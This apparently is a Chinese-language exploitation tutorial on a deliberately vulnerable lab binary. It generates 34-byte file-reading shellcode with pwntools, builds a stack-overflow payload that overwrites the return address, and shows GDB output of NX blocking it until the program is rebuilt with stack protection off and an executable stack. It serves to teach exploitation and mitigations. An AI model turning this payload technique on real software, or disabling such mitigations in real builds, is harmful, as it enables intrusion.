上一篇文章中控制了函数的返回地址,将地址修改为已有的指令地址,但是为了实现任意代码执行,是需要将返回地址修改为我们可以控制的 shellcode 的地址的。
shellcode
在 http://docs.pwntools.com/en/stable/shellcraft/amd64.html#module-pwnlib.shellcraft.amd64.linux 有使用 pwntools 生成 shellcode 的文档。我选择了一个读取文件的 shellcode。
>>> from pwn import *
>>> code = shellcraft.amd64.linux.cat("flag")
>>> asm_code = asm(code, arch="amd64", os="linux")
>>> print code
/* push 'flag\x00' */
push 0x67616c66
/* call open('rsp', 0, 'O_RDONLY') */
push SYS_open /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* 0 */
cdq /* rdx=0 */
syscall
/* call sendfile(1, 'rax', 0, 2147483647) */
mov r10d, 0x7fffffff
mov rsi, rax
push SYS_sendfile /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall
>>> print repr(asm(code))
'hflagj\x02XH\x89\xe71\xf6\x99\x0f\x05A\xba\xff\xff\xff\x7fH\x89\xc6j(Xj\x01_\x99\x0f\x05'
>>> print len(asm_code)
34
因为这段 shellcode 长度只有 34 个字节,完全可以塞入栈中,然后我们使用之前的办法,确定一个返回地址就可以了,这里就是 student
结构体的起始地址。
from pwn import *
code = shellcraft.amd64.linux.cat("flag")
shellcode = asm(code, arch="amd64", os="linux")
data = "1925\n" + shellcode + "A" * (0x7fffffffe348 - 0x7fffffffe2f0 - len(shellcode)) + p64(0x7fffffffe2f0)
print data
NX 栈不可执行
在 GDB 中运行,会得到一个 SIGSEGV,并不会得到 flag。
gdb-peda$ r < in.txt
Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
What's Your Birth?
What's Your Name?
You Are Born In 1094795585
You Are Naive.
You Speed One Second Here.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b04290 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x602010 ("You Speed One Second Here.\n")
RDI: 0x1
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe350 --> 0x0
RIP: 0x7fffffffe2f0 --> 0x58026a67616c6668
R8 : 0x2e6572654820646e ('nd Here.')
R9 : 0x1b
R10: 0x0
R11: 0x246
R12: 0x4005c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe420 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7fffffffe2ea: add bh,bh
0x7fffffffe2ec: add DWORD PTR [rax],eax
0x7fffffffe2ee: add BYTE PTR [rax],al
=> 0x7fffffffe2f0: push 0x67616c66
0x7fffffffe2f5: push 0x2
0x7fffffffe2f7: pop rax
0x7fffffffe2f8: mov rdi,rsp
0x7fffffffe2fb: xor esi,esi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe350 --> 0x0
0008| 0x7fffffffe358 --> 0x7fffffffe428 --> 0x7fffffffe6b4 ("/home/virusdefender/Desktop/pwn/new/vuln")
0016| 0x7fffffffe360 --> 0x1f7ffcca0
0024| 0x7fffffffe368 --> 0x4006b6 (<main>: push rbp)
0032| 0x7fffffffe370 --> 0x0
0040| 0x7fffffffe378 --> 0xd7d0880889372de6
0048| 0x7fffffffe380 --> 0x4005c0 (<_start>: xor ebp,ebp)
0056| 0x7fffffffe388 --> 0x7fffffffe420 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007fffffffe2f0 in ?? ()
而且可以看到我们的地址计算是没问题的,只是 shellcode 第一个指令就挂掉了。
原因是并不是所有的内存区域都可执行的,使用 vmmap
可以看到,0x00007fffffffe2f0
所在的区域([stack]
区域或者使用 vmmap 0x00007fffffffe2f0
)是 rw-p
,是没有 x
执行权限的。
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00401000 r-xp /home/virusdefender/Desktop/pwn/new/vuln
0x00600000 0x00601000 r--p /home/virusdefender/Desktop/pwn/new/vuln
0x00601000 0x00602000 rw-p /home/virusdefender/Desktop/pwn/new/vuln
0x00602000 0x00623000 rw-p [heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fda000 0x00007ffff7fdd000 rw-p mapped
0x00007ffff7ff6000 0x00007ffff7ff8000 rw-p mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
这其实是 Linux 对漏洞利用的缓解措施中的一种,标记部分内存不可执行,使用 checksec
可以查看漏洞利用缓解措施的状态。
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
NX
就是标记内存不可执行,这里是 ENABLED
状态。
CANNARY
是编译器会插入一些标记和检查指令,如果栈溢出的时候把它们覆盖了,那检查的时候就会导致导致进程退出。我们使用了 -fno-stack-protector
禁用了这个特性。
其他的遇到的时候再说。
所以我们应该使用的编译参数是 gcc -g -O0 -fno-stack-protector -z execstack -o vuln main.c
,这样才可以正常运行 payload,最后的 SIGSEGV 是因为堆栈不平衡导致的。
这样就可以看到 student 的内存区域是可执行的了。
gdb-peda$ vmmap 0x7fffffffe2f0
Start End Perm Name
0x00007ffffffde000 0x00007ffffffff000 rwxp [stack]
gdb-peda$ r < in.txt
Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
What's Your Birth?
What's Your Name?
You Are Born In 1094795585
You Are Naive.
You Speed One Second Here.
THIS_IS_FLAG
Program received signal SIGSEGV, Segmentation fault.